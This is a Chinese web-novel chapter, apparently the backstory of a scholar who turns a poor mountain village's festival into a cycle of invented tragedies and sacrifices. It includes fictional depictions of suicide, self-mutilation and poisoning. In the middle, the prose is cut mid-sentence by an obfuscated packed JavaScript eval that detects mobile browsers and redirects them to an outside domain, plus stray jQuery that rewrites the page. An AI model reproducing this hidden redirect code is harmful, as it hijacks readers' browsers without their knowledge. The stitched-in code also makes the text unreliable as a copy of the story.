他初来这个村子的时候，其实并没有想过定居，不过是想要歇脚一阵。
他和妻子逃跑有一阵了，都有些疲累。
妻子很喜欢这个地方，在玉龙客栈住了许久后，依旧不舍离开。
后来妻子有孕了，外边追兵太多，他只得暂时留下来，等妻子生产后再做计较。
他喜欢这个地方吗？
他答不上来，也或许根本不重要。
这是一个破败的小镇，被大山包围，与世隔绝，村长是这里的话事人，他去见村长，希望能租给自己一片地。
然而他没想到，村长居然是个毛头小子，他睁着乌溜溜的眼睛，一脸奇怪的看着他，指着村后头道：“那里是我家的地，你随便找一块就行，还给啥钱呢。”
反正这里的地也不值钱。
说完村长从头到位打量着他，嘿嘿笑了，“我们村真是难得有外人来，真好。你一看就是读书人，要是不嫌弃，就给我们村儿讲讲，外边的世界咋样呗？”
他微微一愣，瞬即答应下来。
后来讲着讲着，他慢慢有了办学堂的想法，这里的孩子这么多，怎么能如此荒废时光？
小小的学堂支起来，简陋至极，他端着几本残破的书，真的教出来一个秀才。
秀才的岁数也不小了，他问他有没有取功名的想法，他却摇头，说自己不走了。
“你不是这里的人，你终归要走的，你走了不要紧，学堂怎么办？孩子们怎么办？这里需要我。”
秀才的一席话很平静，却在他心中掀起了不大不小的波澜。
那些波澜是疑惑，是不解，是难以相信。
这里的人，男女老少都是这样，似乎永远以村子为先。
可为什么呢？
他感到奇怪，去请教妻子。
妻子是个温柔的人，她摸摸他冰凉的手，告诉他这就叫做“家”。
是一种奇怪的归属感。
他看着妻子的眼，似懂非懂。
因为身世坎坷，他是不懂归属感这种东西的。
她笑起来，“郎君，尔心何向？”
他蹙眉思考，“吾心……无向。”
她依旧笑容温婉，“当真？”
他点头，“当真。”
*
妻子临盆的时候，是一个雨夜。
她紧紧的握住他的手，一遍一遍问他你后悔吗？
为了给她家伸冤，后悔吗？放弃功名被追杀至此，后悔吗？
爱上她——后悔吗？
他拼命摇头，想要留住妻子，却发现她的生命还是在一点一点流失，直到最后，彻底没有了。
更可怕的是，连那个出生的孩子，也没有生息。
他忽然觉得心空了一块，眼泪都流不出，情绪被封锁，一切都是枉然了。
似乎只有酒和笔墨，才能听懂他的心声。
荒地的茅草屋旁，是新坟和墨迹未干的诗词，黄纸漫天，他再也看不到妻子的音容笑貌。
土里土外，梦里梦外，人间惨事，不过尔尔。
村里人都觉得他疯魔了，担心他出事，于是每家每天出一个人来照顾他。
他不懂这些人为何关心自己，明明自己已经形如烂泥，绝望如枯骨。
后来，他觉得太痛苦了，终于趁着他们不备，摇摇晃晃的来到了河边。
跳下去，或许就能解脱了，就能再次见到妻子和孩子。
他笑起来，自己真是个绝顶聪明的人，竟然能想到如此的办法。
怎么早就想不到呢？
正值春季，水却还是极寒的，他跳入其中，感到了彻骨的寒冷。
生命在疯狂流失，他却只觉得一片黑暗，妻子并没有出现，孩子也没有出现。
忽然，身体被人拉住，他眼前逐渐清明，渐渐出现的，是那个傻憨憨的村长和村民。
村长摸一把头上的汗和水，“你傻嘞，想干嘛？”
正是农忙的时候，他们却放下了手头的事儿，来救他这个外乡人。
他忽然觉得荒唐，自己何时如此重要？
他好像明白了一点妻子的那些话，以及为何妻子会喜欢这个地方。
她幼年时光被家中亲人包围，懂得归属感为何物，后来家中被冤，看多了人情冷暖勾心斗角，对心思单纯，热心火热的人们，总是喜欢的。
他缓缓摇头，这何尝不是一种眷恋依赖呢？
这种依赖，是好是坏，是福是祸呢？
抬起头，他仔细的去看眼前面色枯黄的村民，这个山地的土地贫瘠，即使有水在侧，也种不出什么好东西。
大概又是一个饥荒年。
又要死人了。
他忽然觉得，他该带着他们活下去。
得活下去啊。
妻子喜欢的这个地方，喜欢这个地方的人，那这些人们，不该就此被扼杀。
他先带着村民们修了一条路，然后让他们学着做生意，他以为传统的方式可以解救他们。
然而真正行动起来，才却发现山路难走、物产贫瘠不说，更有响马出没，困难重重。
但到底还是有成效的，勉强能够糊口了。
然而日子没好过几年，那一年，罕见的大旱彻底摧毁了摇摇欲坠的村子。
周围不断有饿死的人，他眼睁睁看着，无能为力。
终于在易子而食的时候，秀才来找他了。
两人无言相望良久，秀才跪地，只是一味的问他，“尔心何向？”
“若是恩师心向我村民，求先生救我们。”
他知道他这个恩师有办法，于是来求他。
他当然有办法，只是这个办法，需要抛弃一些虚无缥缈的东西，又需要一些虚无缥缈的东西。
比如名声，比如任人评说的勇气。
那一夜他在妻子坟前坐了许久，他觉得她可以原谅他的，不会以他为耻的。
第二天，他出了山门，将自己的诗句散出去，找人弹唱数场，一个凄美的故事，总算飞出了这个村子。
后来，在层层推动之下，女儿节变了味。
人们大多喜欢荒唐的故事，他们慕名而来，让村子熬过了那个饥荒年。
村民们也真正的看到了希望，他们努力的维系着这个故事，然而人心易变，这样的故事渐渐不再吸引人。
后来，又是一年大旱，村长有样学样，用自己的血书写了新的故事。
他把小拇指割下，妄图吸引更多的人来，救一救村子。
然而失败了。
村长找到他，有点沮丧，“这个故事不够吸引人，是不是？”
他点点头，却说不出苛责的话来。
“我们以后，都要靠这些故事活着是不是？”村长笑起来，挠挠头，“唉，哪来那么多轰轰烈烈的爱情故事啊。”
他不语，只是拿来药为他包扎伤口，然后只给了两个字，“人造。”
后来玉龙镇的女儿节变得越来越荒唐，牺牲的人也越来越多，村子里的人没有什么怨言，他们只是知道牺牲了自己，村里人的日子就会好过一些。
再后来，他陆陆续续领养了三个孩子，对外说除了秀兰其他的都是亲生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553107|168462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，即使他连续弦都没有。
等到日后再次穷途末路了，这何尝不是一个新故事？
村长残缺不全的手指为他开辟了新的思路，也让女儿节，彻底沦为了怪物。
又或者，他也早已变成了怪物，谁知道呢。
他喝一口酒，构思起新的故事——啊，爱妻名声在外的人，多年后变了心，与其他女子，有了新的孩子。
呵，世人就爱听这样的故事。
时光穿梭，人生无常，但人心有道。他教导出的这个三个孩子，大女儿愚孝对从村子忠诚无二，他特意为她选了颇有才情、心高的李耀祖，日后的故事，必有他们的一份。
二儿子王杨清，他其实一直有点看不透他。
这孩子沉默、寡言，却洞悉世事，他能看出他的布局谋算，却并不阻止，或许，他另有打算。
这样的打算，在那抽完签的深夜，初现端倪。
他来到他院中，跪了半宿。
他还是看不透他是何用意，却知道，他是来反抗的。
深深叹了一口气，他劝他，“这是宿命，改不了的。”
“您无非是要一个人去做事。”他依旧平静，“阿烟可以，我也可以，甚至会比她做的更漂亮、更决绝。”
他微微愣住，他已经做好他会反抗的准备，然而他没想到，这份反抗却是他为自己妹妹准备的。
他始料未及，看了他半晌，却又释怀，到底是这个村子养出来的人，牺牲自己成就他人，刻在骨子里了。
那晚他们谈了很久，计划的周全、详密。
最后，二儿子问他：“儿子疑惑，您这么多年为这村子如此付出，到底在图什么呢？”
那个问题似乎又出现了，妻子的音容笑貌渐渐浮现——尔心何向？
意味相同，又似乎不同。
这个问题多年以来他从未细想，如今被这样一问，那些刻意压下的困惑，冲破心底，让他再也无法逃避。
是啊，他图什么呢？
仅仅是因为妻子吗？
仅仅是因为还他们救命之恩吗？
还是——仅仅是想要一个归属感吗？
那晚他没有回答，直到他们的最后一面，他将毒药塞到他手中，依旧沉默。
风烛残年之时，他才意识到，自己是个糊涂人啊。
至于三女儿……
她走的那天，穿着一身素白，站在门口久久不去。
他叹了口气，到底还是追了出去。
她回头，目光是平静的死寂，她伸出手，手上拖着一个匣子，那匣子打开之后，一片银灿灿。
是这段时间，她攒下的家当。
“父亲是否希望我，将这些钱交到村子？”
她开口询问，声音冷静。
他深深的叹了口气，点点头。
她失望至极，却看不穿他的违心。
这个三女儿，太重情，若是不彻底斩断她最后的念想，恐怕是要惦记他一辈子。
他是不可能出村子了，不可能和她走的。
事实如此，该断就要断干净，牵挂太多，徒增烦恼。
三女儿上了马车，或许到底是老了，又或许连丧两子，竟然情不自禁的向前追了两步。
然而剑锋横到眼前，那个年轻的外乡人，阻止了他的脚步。
他眼中寒光微扇，口吻轻松，“家主留步吧。”
他深深叹一口气，转身离去。
尔心何向？
无向，无根，如浮木，如飘萍。
当真吗？
或许吧。